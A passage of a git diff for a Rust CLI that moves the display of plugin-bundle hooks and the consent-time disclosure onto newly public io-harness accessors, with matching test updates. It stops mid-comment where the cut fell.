`[[hook]]` tables out of -//! the manifest the way this module's own `declared` already reads `name`, -//! through [`crate::edit::value_at`], and names each one's event and command. -//! -//! **Display only.** What is installed, and whether it may be, stays io-harness's -//! parse and io-harness's trust rule; this reading decides nothing and is deleted -//! whole when #223 lands. +//! [`io_harness::Plugin::hooks`] and a public [`io_harness::Hook`] arrived in +//! 0.71.0, so this module's own `[[hook]]` reader is gone. It could not see an +//! inline `hook = [{…}]` array or a `[[hook]]` header with a trailing comment on +//! it — both ordinary TOML, both accepted by io-harness — and drew a bundle with +//! hooks as a bundle with none, on the contribution kind that **runs programs**. +//! The rows are built in [`crate::pluginview`] now, off the accessors. //! //! # Removing a marketplace removes a clone and nothing else //! @@ -133,6 +140,8 @@ use std::path::{Path, PathBuf}; +use io_harness::config::Scope; + use crate::fetch::{Fetched, Named}; use crate::glyphs::Glyphs; use crate::picker::{fit, fit_left, Row}; @@ -349,7 +358,7 @@ fn bounded(value: &str) -> String { /// reverse how a run of text *displays* without changing what it says, which is a /// separate problem from this one and belongs wherever this crate decides it for /// every surface at once rather than in the marketplace reader alone. -fn plain(value: &str) -> String { +pub(crate) fn plain(value: &str) -> String { value .chars() .map(|glyph| if glyph.is_control() { ' ' } else { glyph }) @@ -1000,80 +1009,7 @@ impl Chosen { } } -/// Every `[[hook]]` a manifest declares, as `(event, command)`, in its own order. -/// -/// **The one contribution kind io-harness will not name, on the one that runs -/// programs.** There is no `Plugin::hooks()` and `Hook` is `pub(crate)` -/// (io-harness#223), so `contributions()` answers the bare word `hooks` — and an -/// operator consenting to a stranger's bundle on that word is consenting to argv -/// nobody has shown them. Read through [`crate::edit::value_at`], which is this -/// crate's only permitted TOML parser and answers in the value's **source bytes**: -/// what is drawn is what the file says, unquoted by nobody and interpreted by -/// nobody. -/// -/// The tables are counted with [`crate::edit::sections`] rather than by walking -/// `hook[i].on` until a miss, because a hook may legally carry no `on` at all — -/// `at` is the other half of that pair, and an empty `on` means *every* event — so -/// the walk would stop at the first lifecycle hook and under-report the rest. -/// -/// io-harness's own keys, and both halves of each pair: an event hook has `on`, a -/// lifecycle hook has `at`; a hook that spawns has `run`, and one that logs has -/// `append`. A table with neither is a table io-harness refuses, and it is said -/// rather than skipped — this is a disclosure, and a hook drawn as a blank row is -/// the silence the whole surface exists to end. -/// -/// **An empty `on` is every event and is said so.** io-harness documents `on = []` -/// as firing on all of them (`io-harness/src/hooks.rs:116`), so the hook that runs -/// most often was the one disclosed as `[]` — the least alarming two characters on -/// the screen where the operator decides. -/// -/// **Every value goes through `plain` and none through `bounded`.** A `run` -/// comes back as the source span of an array, and TOML lets that array run over as -/// many lines as it likes — newlines straight into the consent list. They are -/// filtered; the length is not, because this is argv somebody is consenting to and -/// a shortened argv is worse than no argv at all. See [`disclosure`], which is why -/// the consent surface is no longer given a width to shorten it by. -/// -/// **Display only, and deleted whole when #223 lands.** What is installed and -/// whether it may be stay io-harness's parse and io-harness's trust rule. -#[must_use] -pub fn hooks(dir: &Path) -> Vec<(String, String)> { - let Ok(text) = std::fs::read_to_string(dir.join(MANIFEST)) else { - return Vec::new(); - }; - let count = crate::edit::sections(&text) - .iter() - .filter(|path| path.len() == 1 && path[0] == "hook") - .count(); - (0..count) - .map(|index| { - let at = |key: &str| { - crate::edit::value_at(&text, &format!("hook[{index}].{key}")) - .map(|raw| plain(&unquote(raw.trim()))) - }; - let event = at("on") - .filter(|on| !every_event(on)) - .or_else(|| at("at")) - .unwrap_or_else(|| "every event".to_string()); - let command = at("run") - .or_else(|| at("append").map(|file| format!("appends to {file}"))) - .unwrap_or_else(|| "declares neither `run` nor `append`".to_string()); - (event, command) - }) - .collect() -} - -/// Whether an `on` is the empty array, whatever whitespace it is spelled with. -/// -/// The source bytes, so `[]`, `[ ]` and an array broken over three lines are one -/// answer. Anything with a value in it is not this. -fn every_event(on: &str) -> bool { - on.chars() - .filter(|glyph| !glyph.is_whitespace()) - .eq("[]".chars()) -} - -/// What a just-declared, switched-off bundle turned out to be. +/// What a bundle turned out to be, before anything was written about it. /// /// The id is io-harness's — the manifest's `name`, which is also what every /// contribution is namespaced by — so the confirmation is titled with the word the @@ -1083,93 +1019,96 @@ fn every_event(on: &str) -> bool { pub struct Disclosure { /// The bundle's id, for the confirmation's title. pub id: String, - /// One finished line per fact, in io-harness's own contribution order. - pub said: Vec, + /// One row per fact, in io-harness's own contribution order — exactly what + /// `/plugin`'s own pane draws, so the two surfaces cannot say different things + /// about one bundle. + /// + /// Rows rather than finished lines because the glyph set belongs to the door: + /// the TUI writes into a terminal whose set the operator chose, and the argv + /// form writes down a pipe in ASCII. [`Disclosure::said`] is the fold. + pub rows: Vec, } -/// What a bundle declared `enabled = false` at `dir` would bring, or why it will -/// bring nothing. -/// -/// **Every fact comes off `view`, which came off `Config::plugins()`, which came -/// off io-harness's own read of the directory** — that is the whole of criterion -/// F6 and the reason this takes a [`crate::pluginview::View`] rather than a path -/// and a manifest. The agent names, server ids and layer names have already been -/// rewritten to `__` by io-harness at load, so they are the strings a -/// refusal, a call and a spawn will use; a disclosure rendered out of the manifest -/// would name `reviewer` for a bundle that contributes `rust-review__reviewer`, -/// which is a name the operator will never see again. -/// -/// `Err` is io-harness's own sentence, whole. A bundle it refused is refused **at -/// this point, before consent**: it is on `Plugins::dropped` and therefore on -/// `view.refused`, and there is nothing to offer to switch on because there is -/// nothing that would load. That is a property of the mechanism rather than a check -/// written here — the file had to be read for the disclosure to exist at all. +impl Disclosure { + /// One finished line per row, in the caller's own glyph set. + /// + /// Written into the scrollback a line at a time rather than drawn as a list to + /// choose from: every row of a confirmation past index 0 **acts** + /// ([`crate::store::acts`]), so a fact drawn as a row would be a fact an + /// operator could accidentally consent with. + #[must_use] + pub fn said(&self, glyphs: &Glyphs) -> Vec { + self.rows + .iter() + .map(|row| match &row.detail { + Some(detail) => format!("{}{}{detail}", row.label, glyphs.separator), + None => row.label.clone(), + }) + .collect() + } +} + +/// What declaring the bundle at `dir` from `scope` would bring, or io-harness's +/// own sentence saying it would bring nothing. +/// +/// **Nothing has been written when this is called, and that is the whole of +/// criterion F17.** [`io_harness::Plugins::inspect`] (0.71.0) runs `load_one` — +/// the same loader `Config::plugins` runs, so a preflight and a load cannot +/// disagree — against a directory that is in no configuration file. Through +/// 0.29.0 there was no such entry point, so the install wrote a `[[plugin]]` entry +/// `enabled = false`, re-discovered, and read the answer off the resulting `View`: +/// a bundle io-harness refused left its entry behind in a file the operator never +/// agreed to have edited. Now the refusal happens with the file untouched, and the +/// write is [`crate::pluginview::add`], once, on consent. +/// +/// **`scope` is the answer and not a formality.** It is the scope the entry would +/// be declared from, and io-harness answers differently by it on purpose: at +/// `User` and `Local` a bundle's `[[hook]]` and `[[mcp]]` are its own business, +/// and at `Project` — the committed `io.toml` a `git clone` delivers — the same +/// manifest is refused **whole** rather than shortened. A bundle that would only +/// load from one of the two is exactly what an install has to say before it writes +/// anything, so the scope handed here is the scope the caller is about to write. +/// +/// `Err` is io-harness's sentence, whole and re-worded by nobody — including the +/// one for a `${env:}`, `${file:}` or `${cmd:}` substitution, which 0.71.0 refuses +/// inside a manifest in **every** scope and names by the offending key's dotted +/// path. A manifest is the one file here nobody has agreed to, and resolving one of +/// those would read this machine, or run a program on it, for a directory the +/// operator is still deciding about. +/// +/// Every name is already namespaced — `inspect` rewrites an agent, a server id and +/// a layer name to `__` exactly as a load does — so the operator +/// consents to the strings a refusal, a call and a spawn will use. A disclosure +/// composed out of the manifest would say `reviewer` for a bundle that contributes +/// `rust-review__reviewer`, which is a name they will never see again. /// /// The rows come from [`crate::pluginview::detail`], the renderer `/plugin`'s own /// pane uses, so the pane an operator opens afterwards says the same thing in the -/// same order. They are folded to lines here because a disclosure is recorded into -/// the scrollback rather than drawn as a list to choose from: every row of a -/// confirmation past index 0 **acts** ([`crate::store::acts`]), so a fact drawn as -/// a row would be a fact an operator could accidentally consent with. -/// -/// Matched on the resolved path, for [`dependents`]' reason: `~` on macOS is -/// reached through `/var` and canonicalises to `/private/var`, and a raw comparison -/// would answer "io-harness read no bundle there" about the entry that was just -/// written. +/// same order. /// -/// # `_width` is taken and deliberately not used +/// # Nothing on a consent surface is elided, and the hook rows are why /// -/// **Nothing on a consent surface may be elided, and the hook rows are why.** /// [`crate::pluginview::detail`] shortens a row's detail to the width it is given, /// and on an eighty-column terminal that cuts a hook's `run` array with an /// ellipsis — so the operator consented to a truncated argv, on the one -/// contribution kind that runs programs and the entire reason [`hooks`] exists. -/// The argv door passed `u16::MAX` and was never shortened, and that door cannot -/// consent; the TUI door passed the screen's own width, and that is the door where -/// consent happens. -/// -/// A width bound buys nothing here in any case: these rows are folded into -/// [`Disclosure::said`] and written into the scrollback one line at a time, where -/// the terminal wraps them, rather than drawn into a fixed-width picker. So the -/// renderer is handed a width nothing can exceed and the caller's is ignored. The -/// argument stays on the signature because both doors have a width to hand and a -/// later row here may want one — and taking it while ignoring it is a smaller lie -/// than shortening a command somebody is about to consent to. -pub fn disclosure( - view: &crate::pluginview::View, - dir: &Path, - hooks: &[(String, String)], - _width: u16, - glyphs: &Glyphs, -) -> Result { - let real = resolved(dir); - if let Some(refused) = view - .refused - .iter() - .find(|refused| resolved(&refused.path) == real) - { - return Err(refused.error.clone()); - } - let listed = view - .plugins - .iter() - .find(|listed| resolved(&listed.root) == real) - .ok_or_else(|| { - format!( - "{} is declared and io-harness reported it neither as read nor as refused, so \ - there is nothing to disclose and nothing was switched on", - dir.display() - ) - })?; +/// contribution kind that runs programs. There is therefore no width on this +/// signature to get wrong: the renderer is handed `u16::MAX`, and +/// [`Disclosure::said`] hands the lines to the scrollback one at a time where the +/// terminal wraps them, rather than into a fixed-width picker. +/// +/// **That is also why no glyph set is taken.** At `u16::MAX` nothing is shortened, +/// so the only glyph a row could carry is the ellipsis that says it was — and +/// there is none. The set the renderer is handed cannot reach the output, and the +/// one that *does* show, the separator between a row's two fields, is applied by +/// the door in [`Disclosure::said`]. +pub fn disclosure(scope: Scope, dir: &Path) -> Result { + let plugin = io_harness::Plugins::inspect(scope, dir).map_err(|error| error.to_string())?; + // `true`, because nothing has been written: this is what the directory *is*, + // not what some `[[plugin]]` entry said about it. See `pluginview::copy_out`. + let listed = crate::pluginview::copy_out(&plugin, true); Ok(Disclosure { id: listed.id.clone(), - said: crate::pluginview::detail(listed, u16::MAX, glyphs, hooks) - .into_iter() - .map(|row| match row.detail { - Some(detail) => format!("{}{}{detail}", row.label, glyphs.separator), - None => row.label, - }) - .collect(), + rows: crate::pluginview::detail(&listed, u16::MAX, &crate::glyphs::ASCII), }) } diff --git a/src/pluginview.rs b/src/pluginview.rs index a93c0ec..3002cdb 100644 --- a/src/pluginview.rs +++ b/src/pluginview.rs @@ -61,26 +61,27 @@ //! [`Listed::enabled`] so a switched-off bundle's skills are not offered to a //! model that cannot reach them. //! -//! # Hooks cannot be listed *from here*, and this file says so on screen +//! # Hooks are listed here now, and io-harness is what names them //! -//! There is no `Plugin::hooks()` and `Hook` is `pub(crate)` (filed upstream as -//! io-harness#223). A bundle's hooks are applied — [`io_harness::Plugins::apply_to_hooks`] -//! installs them — and there is no accessor by which this module can name one, -//! count them, or say what any of them runs. The string `"hooks"` from -//! [`io_harness::Plugin::contributions`] is the entire honest signal off the typed -//! API, and [`detail`] draws exactly that when it is handed nothing better: a row -//! saying hooks were declared and that io-cli cannot say what they do. **The -//! alternative was to omit the row**, which reads as a bundle with no hooks — the -//! one reading that is actually false, on the contribution kind that runs -//! programs. +//! io-harness 0.71.0 publishes [`io_harness::Plugin::hooks`] and makes +//! [`io_harness::Hook`] public with an accessor for every key it carries, so the +//! contribution kind that **runs programs** is no longer the one kind this surface +//! could only say the word `hooks` about. Every hook row is built in +//! [`copy_out`] out of those accessors and drawn by [`detail`], and there is no +//! longer any branch that says io-cli cannot say what a hook runs — because it +//! can. //! -//! **A caller that has read the manifest may hand [`detail`] the pairs**, and the -//! marketplace disclosure does exactly that: consenting to a stranger's bundle on -//! the word `hooks` is consenting to programs nobody named. The reading is -//! [`crate::marketplace::hooks`]' and never this module's — see the section below -//! — and it is display only: what is installed, and whether it may be, stays -//! io-harness's parse and io-harness's trust rule. Both branches go when #223 -//! lands. +//! **This module still opens no `plugin.toml`.** The hooks arrive the same way the +//! agents, the servers and the layers always have: off a [`io_harness::Plugin`] +//! io-harness read itself. That is the whole reason the reading moved rather than +//! being duplicated — io-cli's own reader (deleted in 0.30.0) could not see an +//! inline `hook = [{…}]` array or a `[[hook]]` header carrying a trailing comment, +//! and drew a bundle with hooks as a bundle with none, which is the one reading +//! that is false on the contribution kind that spawns. +//! +//! `Hook::on_failure` is read rather than the raw key, because a table that wrote +//! no `on_failure` still has one and it is its kind's — `refuse` for a lifecycle +//! hook, `continue` for an event hook. Nothing here re-derives that rule. //! //! # The names drawn here are already namespaced, and that is the point //! @@ -178,8 +179,6 @@ pub struct Listed { pub root: PathBuf, /// Which kinds of contribution it declared, in io-harness's own fixed order: /// skills, templates, agents, mcp, hooks, policy. - /// - /// **This is the only place `hooks` can come from.** See the module docs. pub contributions: Vec<&'static str>, /// The skills directory it contributes, absolute, if it declared one. pub skills: Option, @@ -189,6 +188,14 @@ pub struct Listed { pub agents: Vec, /// The MCP server ids it contributes, already namespaced. pub servers: Vec, + /// The hooks it contributes, one `(event, command)` pair each, in the + /// manifest's own declaration order. + /// + /// **Built out of [`io_harness::Hook`]'s accessors and never out of a + /// manifest** — see the module docs. Not namespaced, and nothing io-harness + /// namespaces: a `[[hook]]` contributes no name, it names events, a path and + /// an argv, and all three belong to the operator's tree. + pub hooks: Vec<(String, String)>, /// The policy layer names it contributes, already namespaced. Deny rules /// only — io-harness drops a bundle whose layer carries anything else. pub layers: Vec, @@ -262,7 +269,13 @@ impl View { /// as `Declaration::enabled`, which is `pub(crate)`, and the *only* public signal /// of it is which of `Plugins::iter` and `Plugins::disabled` a bundle came back /// on. So the bucket is the fact, and [`view`] is the one place it is recorded. -fn copy_out(plugin: &io_harness::Plugin, enabled: bool) -> Listed { +/// +/// **Public since 0.30.0, because a bundle nobody has declared has no bucket at +/// all.** [`io_harness::Plugins::inspect`] hands back a `Plugin` for a directory +/// that is in no configuration file, and that is what a marketplace install +/// discloses from — see [`crate::marketplace::disclosure`]. It passes `true`: +/// nothing has been written yet, so nothing has been switched off. +pub fn copy_out(plugin: &io_harness::Plugin, enabled: bool) -> Listed { Listed { id: plugin.id().to_string(), enabled, @@ -278,6 +291,7 @@ fn copy_out(plugin: &io_harness::Plugin, enabled: bool) -> Listed { .iter() .map(|server| server.id.clone()) .collect(), + hooks: plugin.hooks().iter().map(hook_line).collect(), layers: plugin .policy_layers() .iter() @@ -286,6 +300,58 @@ fn copy_out(plugin: &io_harness::Plugin, enabled: bool) -> Listed { } } +/// One [`io_harness::Hook`] as the two fields a reader needs: when it fires, and +/// what it then does. +/// +/// **Every field comes off an accessor**, which is the whole of criterion F16: the +/// manifest is io-harness's to read, and io-cli's own reader could not see an +/// inline `hook = [{…}]` array or a `[[hook]]` header with a trailing comment on +/// it. Both are ordinary TOML, io-harness accepts both, and both used to draw as no +/// hook at all. +/// +/// `on = []` is **every** event and is said so: io-harness documents an empty `on` +/// as firing on all of them, so the hook that runs most often was the one drawn as +/// the two least alarming characters on the screen where consent happens. +/// +/// `on_failure` is named only where it stops something — [`io_harness::OnFailure`] +/// resolves a table that wrote nothing to its kind's own default, and a row saying +/// `continue` on every event hook is a column of noise over the one word that +/// matters. `cancel` ends the run and `refuse` stops the call, and neither is +/// something to learn afterwards. +/// +/// **Both values go through `marketplace::plain` and neither is +/// shortened.** An argv element is a TOML string and TOML permits a raw newline +/// inside a `"""`, so a stranger's manifest could otherwise put forged extra lines +/// into the scrollback an operator is reading to decide. The length is not bounded, +/// because this is argv somebody is consenting to and a shortened argv is worse +/// than no argv at all. +fn hook_line(hook: &io_harness::Hook) -> (String, String) { + let mut event = match hook.at() { + Some(at) if hook.tools().is_empty() => at.to_string(), + Some(at) => format!("{at} on {}", hook.tools().join(", ")), + None if hook.on().is_empty() => "every event".to_string(), + None => hook.on().join(", "), + }; + match hook.on_failure() { + io_harness::OnFailure::Cancel => event.push_str(", cancels the run if it fails"), + io_harness::OnFailure::Refuse => event.push_str(", refuses the call if it fails"), + _ => {} + } + let command = match (hook.run(), hook.append()) { + (Some(argv), _) => format!("[{}]", argv.join(" ")), + (None, Some(file)) => format!("appends to {}", file.display()), + // Unreachable through `Plugins::inspect` and `Config::plugins` alike — + // io-harness's `Hooks::check` refuses a table with neither — and said + // rather than skipped, because a hook drawn as a blank row is the silence + // this whole surface exists to end. + (None, None) => "declares neither `run` nor `append`".to_string(), + }; + ( + crate::marketplace::plain(&event), + crate::marketplace::plain(&command), + ) +} + /// Every bundle this configuration declared: loaded, switched off, and refused. /// /// **All three of io-harness's buckets, and the third one is why this function @@ -472,25 +538,14 @@ pub fn rows(view: &View, width: u16, glyphs: &Glyphs) -> Vec { /// the *directory* and false about the *session*, and the row above them is what /// makes the pane say which. See [`Listed::enabled`]. /// -/// # `hooks` is the one group this module cannot read for itself +/// # `hooks` is a group like any other now /// -/// Every other group above comes off a [`io_harness::Plugin`] accessor. There is -/// none for hooks — `Hook` is `pub(crate)` and `contributions()` reports only that -/// they exist (io-harness#223) — and this module opens no `plugin.toml`, so the -/// pairs are an argument: `(event, command)` in the manifest's own order, read by -/// [`crate::marketplace::hooks`], which is the one file in this crate whose job is -/// reading somebody else's manifest. -/// -/// **An empty slice keeps the honest placeholder** rather than drawing no group. -/// A caller that has not read the manifest knows only that hooks were declared, -/// and a bundle drawn with no hooks group reads as a bundle with no hooks — the -/// one reading that is false, on the contribution kind that runs programs. -pub fn detail( - plugin: &Listed, - width: u16, - glyphs: &Glyphs, - hooks: &[(String, String)], -) -> Vec { +/// It comes off [`io_harness::Plugin::hooks`] through [`copy_out`], exactly as the +/// agents and the servers do, so there is no argument to pass and no caller that +/// can be handed a bundle's hooks and forget to. The placeholder row that said +/// io-cli could not name a hook is gone with the gap it described — see the module +/// docs. +pub fn detail(plugin: &Listed, width: u16, glyphs: &Glyphs) -> Vec { // The picker's own arithmetic again: marker and gap, with no detail column to // budget for on the rows that are a path. let room = (width as usize).saturating_sub(4); @@ -512,14 +567,13 @@ pub fn detail( out.push(Row::heading("mcp servers")); out.extend(plugin.servers.iter().map(|id| Row::new(id.clone()))); } - if !hooks.is_empty() { + if !plugin.hooks.is_empty() { // **One row per hook, naming the event and the command.** A bundle's hooks // are the contribution that runs programs, and "hooks" is the one word on // this pane that tells an operator nothing about what they are consenting - // to. The pairs were read out of the manifest by the caller — see this - // function's own docs and io-harness#223. + // to. Every field is io-harness's — see `hook_line`. out.push(Row::heading("hooks")); - out.extend(hooks.iter().map(|(event, command)| { + out.extend(plugin.hooks.iter().map(|(event, command)| { Row::with_detail( event.clone(), fit( @@ -529,26 +583,6 @@ pub fn detail( ), ) })); - } else if plugin.contributions.contains(&"hooks") { - out.push(Row::heading("hooks")); - // **The whole of what io-cli knows, stated as the whole of what it - // knows.** There is no accessor and `Hook` is `pub(crate)`, so the count, - // the events and the argv are all unreachable — and a bundle's hooks are - // the contribution that runs programs. Omitting the group would read as a - // bundle with no hooks, which is the one reading that is false. - out.push(Row::with_detail( - "declared", - fit( - // No dash and no other mark that would need a glyph set: this is a - // rendered string, and the one class of mark in it — the - // separator between the two clauses — is a semicolon in every - // terminal there is. - "io-harness does not expose a bundle's hooks, so io-cli cannot say what they run; \ - read the bundle's plugin.toml", - room.saturating_sub("declared".chars().count() + 2), - glyphs, - ), - )); } if !plugin.layers.is_empty() { out.push(Row::heading("policy layers, deny only")); @@ -618,17 +652,19 @@ pub const OLDER_BINARY: &str = /// The edit that declares a bundle **switched off**. /// -/// [`add`]'s entry with one more line, and the two are kept apart rather than -/// folded into a flag because they answer two different questions. `add` is what -/// `/plugin add ./bundles/x` writes: the operator named a directory they have, -/// and a bundle declared off would be a surface second-guessing them. This is what -/// a **marketplace** install writes, and the `enabled = false` is the whole of the -/// disclosure mechanism: io-harness publishes no loader that takes a directory — -/// `load_one` is private and `Plugins::load` is `pub(crate)` — so the only way to -/// have it read, parse, validate and trust-check a stranger's bundle is to declare -/// it, and the only way to declare it without running it is this key. The bundle -/// then arrives on [`io_harness::Plugins::disabled`], contributing nothing, with -/// every accessor valid; consent is [`enable`]. +/// [`add`]'s entry with one more line, for an operator who wants a bundle +/// declared and not running. +/// +/// **It is no longer what a marketplace install writes, and 0.71.0 is why.** +/// Through 0.29.0 this key was the whole disclosure mechanism: io-harness +/// published no loader that took a directory, so the only way to have a stranger's +/// bundle read, parsed, validated and trust-checked was to *declare* it, and the +/// only way to declare it without running it was `enabled = false`. Writing into +/// an operator's configuration file to find out whether the file should have been +/// written is a round trip that leaves a refused bundle's entry behind, and +/// [`io_harness::Plugins::inspect`] ends it — the install now validates first and +/// writes once, on consent, through [`add`]. See +/// [`crate::marketplace::disclosure`]. /// /// **An appended entry carries as many keys as it is given.** /// [`crate::edit::Edit::append`] writes `[[plugin]]` and then the body verbatim, @@ -966,6 +1002,7 @@ mod tests { templates: None, agents: vec!["rust-review__reviewer".to_string()], servers: Vec::new(), + hooks: vec![("tool_call".to_string(), "[cargo fmt]".to_string())], layers: vec!["rust-review__no-secrets".to_string()], } } @@ -1121,7 +1158,7 @@ mod tests { let mut off = listed(); off.enabled = false; for glyphs in [&UNICODE, &ASCII] { - let rows = detail(&off, 120, glyphs, &[]); + let rows = detail(&off, 120, glyphs); assert_eq!(rows[0].label, "switched off", "{}", glyphs.name); let said = rows[0] .detail @@ -1142,7 +1179,7 @@ mod tests { // The loaded pane has no such row, so the sentence is never drawn over // a bundle it is not true of. assert!( - detail(&listed(), 120, glyphs, &[]) + detail(&listed(), 120, glyphs) .iter() .all(|row| row.label != "switched off"), "{}", @@ -1222,7 +1259,7 @@ mod tests { #[test] fn the_detail_view_groups_what_a_bundle_contributed() { for glyphs in [&UNICODE, &ASCII] { - let rows = detail(&listed(), 100, glyphs, &[]); + let rows = detail(&listed(), 100, glyphs); let labels: Vec<&str> = rows.iter().map(|row| row.label.as_str()).collect(); assert!(labels.contains(&"skills"), "{}: {labels:?}", glyphs.name); assert!(labels.contains(&"agents"), "{}: {labels:?}", glyphs.name); @@ -1249,28 +1286,39 @@ mod tests { } } + /// A hook is named, never described as unnameable. + /// + /// Sabotage: draw the group off `contributions` again. The row's label is then + /// the word `declared` rather than the event, and its detail is a sentence + /// about io-cli rather than the argv, so both assertions fail. #[test] - fn hooks_are_declared_as_unlistable_rather_than_omitted() { - let rows = detail(&listed(), 120, &UNICODE, &[]); + fn a_hook_is_drawn_as_its_event_and_its_command() { + let rows = detail(&listed(), 120, &UNICODE); let position = rows .iter() .position(|row| row.label == "hooks") .expect("a bundle declaring hooks says so"); assert!(rows[position].heading); - let said = rows[position + 1] - .detail - .clone() - .expect("the hooks row explains itself"); + assert_eq!(rows[position + 1].label, "tool_call"); + assert_eq!( + rows[position + 1].detail.as_deref(), + Some("[cargo fmt]"), + "the argv is what the row is for", + ); assert!( - said.contains("io-harness does not expose"), - "io-cli says what it cannot say: {said}" + !rows.iter().any(|row| row + .detail + .as_deref() + .is_some_and(|said| said.contains("io-harness does not expose"))), + "the placeholder outlived the accessor that replaced it: {rows:?}", ); - // And a bundle with no hooks has no such group, so the sentence above is - // never drawn over a bundle it is not true of. + // A bundle with no hooks draws no group, so the heading is never over an + // empty list. `contributions` is deliberately left saying `hooks`: the + // rows come off the hooks themselves now, and nothing keys on the word. let mut quiet = listed(); - quiet.contributions = vec!["skills"]; - assert!(detail(&quiet, 120, &UNICODE, &[]) + quiet.hooks = Vec::new(); + assert!(detail(&quiet, 120, &UNICODE) .iter() .all(|row| row.label != "hooks")); } @@ -1288,9 +1336,10 @@ mod tests { templates: None, agents: Vec::new(), servers: Vec::new(), + hooks: Vec::new(), layers: Vec::new(), }; - let rows = detail(&plugin, 80, &ASCII, &[]); + let rows = detail(&plugin, 80, &ASCII); assert_eq!(rows.len(), 1); assert_eq!(rows[0].label, "this bundle contributes nothing"); } diff --git a/tests/marketplace.rs b/tests/marketplace.rs index e342cdf..9dd7ac9 100644 --- a/tests/marketplace.rs +++ b/tests/marketplace.rs @@ -60,6 +60,19 @@ fn manifest(dir: &Path, text: &str) { std::fs::write(dir.join(io_cli::pluginview::MANIFEST), text).expect("the manifest"); } +/// What io-harness makes of the bundle at `dir`, with nothing declared anywhere. +/// +/// `Plugins::inspect` is `load_one` — the loader `Config::plugins` itself runs — +/// reached without a `[[plugin]]` entry, so this is the same read an install does +/// before it writes, and `Scope::User` is the scope an install writes into. +fn read(dir: &Path) -> io_cli::pluginview::Listed { + io_cli::pluginview::copy_out( + &io_harness::Plugins::inspect(Scope::User, dir) + .unwrap_or_else(|error| panic!("io-harness reads {}: {error}", dir.display())), + true, + ) +} + // --- F1: one name, one parse, one destination --------------------------------- /// **F1 — the slash form and the argv form are one token slice and one request.** @@ -1179,7 +1192,7 @@ fn nothing_out_of_a_stranger_s_manifest_reaches_a_surface_unfiltered() { long.description.as_deref().map(str::len), ); - let hooks = marketplace::hooks(&clone); + let hooks = read(&clone).hooks; assert_eq!(hooks.len(), 1, "{hooks:?}"); assert_eq!( hooks[0].0, "every event", @@ -1198,21 +1211,25 @@ fn nothing_out_of_a_stranger_s_manifest_reaches_a_surface_unfiltered() { ); } -// --- F6 to F9 and F12: disclosure before load --------------------------------- +// --- F6, F16, F17 and F20: disclosure before anything is written --------------- // // A marketplace bundle is code from a stranger that contributes to six subsystems -// at once, and io-harness publishes no loader that takes a directory: `load_one` -// is private and `Plugins::load` is `pub(crate)`. The only public entry is -// `Config::plugins()`, which sees a bundle once a configuration declares it. So -// the install writes the entry `enabled = false`, re-discovers — io-harness has -// now read, parsed, validated and trust-checked it, and routed it to -// `Plugins::disabled()`, contributing nothing — and renders what it found. Consent -// flips that one key. +// at once. Through 0.29.0 io-harness published no loader that took a directory — +// `load_one` was private and `Plugins::load` was `pub(crate)` — so the only way to +// have a bundle read, parsed, validated and trust-checked was to *declare* it: the +// install wrote a `[[plugin]]` entry `enabled = false`, re-discovered, disclosed +// off `Plugins::disabled()`, and consent flipped the key. A bundle io-harness +// refused therefore left its entry behind in a file the operator had agreed to +// nothing about. +// +// io-harness 0.71.0 publishes `Plugins::inspect`, which is that same `load_one` +// reached without an entry. So the read happens first, the refusal happens with +// the configuration file untouched, and the write happens once, on consent. // -// Every test below drives that sequence with the real io-harness, because the -// sequence IS the criterion: a disclosure io-cli composed out of the manifest -// would name the words the manifest uses, and io-harness renames every one of them -// before an operator can ever see it again. +// Every test below drives that against the real io-harness, because the sequence +// IS the criterion: a disclosure io-cli composed out of the manifest would name the +// words the manifest uses, and io-harness renames every one of them before an +// operator can ever see it again. /// A marketplace holding one bundle whose manifest name, directory name and /// contribution names are all deliberately different. @@ -1239,41 +1256,58 @@ fn holding(store: &Path) -> (Vec, PathBuf) { (marketplace::markets(store), dir) } -/// Declare `dir` in `work`'s local file the way a marketplace install does, and -/// hand back the file's own bytes. +/// The whole of what a door does for `plugin add `, **in the order it does +/// it**, with `work`'s local file standing in for the operator's configuration. /// -/// The edit is `manage::plan`'s: the same `pluginview::add_off` a typed -/// `plugin add ` reaches, so nothing here is a second writer. -fn install(work: &Path, dir: &Path) -> String { +/// Resolve the word, ask io-harness what the directory is, and write only if it +/// answered — `Err` short-circuits with the file exactly as it was found, which is +/// F17. Every step is a library call and none of them is re-implemented here: the +/// reading is `marketplace::chosen`'s, the validation and the disclosure are +/// `marketplace::disclosure`'s, and the entry is `pluginview::add`'s, which is the +/// same edit `manage::plan` puts on its `Plan`. +/// +/// `manage::plan` itself cannot be driven for a bundle resolved by *name*: it +/// reaches the marketplaces through `marketplace::installed`, which is behind +/// `crate::home`, and moving `HOME` out from under a suite running in parallel is +/// the thing this file's own header refuses to do. The structural gate at the +/// bottom is what holds `plan` to this order. +fn install(work: &Path, markets: &[Market], word: &str) -> Result { + let file = work.join(io_harness::config::LOCAL_FILE); + let chosen = marketplace::chosen(&work.join(word), || markets.to_vec(), word)?; + if chosen.discloses() { + // The read that decides, before the file is opened for writing. + marketplace::disclosure(Scope::Local, chosen.dir())?; + } + let before = std::fs::read_to_string(&file).unwrap_or_default(); let text = io_cli::edit::apply( - "", - &[io_cli::pluginview::add_off(&io_cli::pluginview::declared( - work, dir, + &before, + &[io_cli::pluginview::add(&io_cli::pluginview::declared( + work, + chosen.dir(), ))], ) - .expect("the disclosing entry applies"); - std::fs::write(work.join(io_harness::config::LOCAL_FILE), &text).expect("the configuration"); - text + .expect("the entry applies"); + std::fs::write(&file, &text).expect("the configuration"); + Ok(text) } -/// **F6 — the install discloses before it enables, and the disclosure is -/// io-harness's parse.** +/// **F6 — the install discloses before it writes, and the disclosure is +/// io-harness's own parse of a directory nothing has declared.** /// -/// The bundle is written `enabled = false`, re-discovered, and what is drawn comes -/// off `Plugins::disabled()`'s `Plugin` accessors. Three things have to hold and -/// each fails alone: the reading of the word was a marketplace's and so -/// `Chosen::discloses`; the entry carries the key; and the names in the disclosure -/// are the ones io-harness rewrote. +/// Three things have to hold and each fails alone: the reading of the word was a +/// marketplace's and so `Chosen::discloses`; the disclosure exists at all with no +/// `[[plugin]]` entry anywhere; and the names in it are the ones io-harness +/// rewrote. /// /// Sabotage: render the contributions from the manifest. The agent is called -/// `reviewer` there and `rust-review__reviewer` after io-harness has loaded it, and +/// `reviewer` there and `rust-review__reviewer` after io-harness has read it, and /// the assertion on the namespaced name fails. /// -/// Second sabotage: write the entry with `pluginview::add`. `disabled()` is then -/// empty, the bundle is loaded, and the disclosure is over something that has -/// already contributed — the assertion that io-harness switched it off fails first. +/// Second sabotage: go back to declaring the bundle first. The 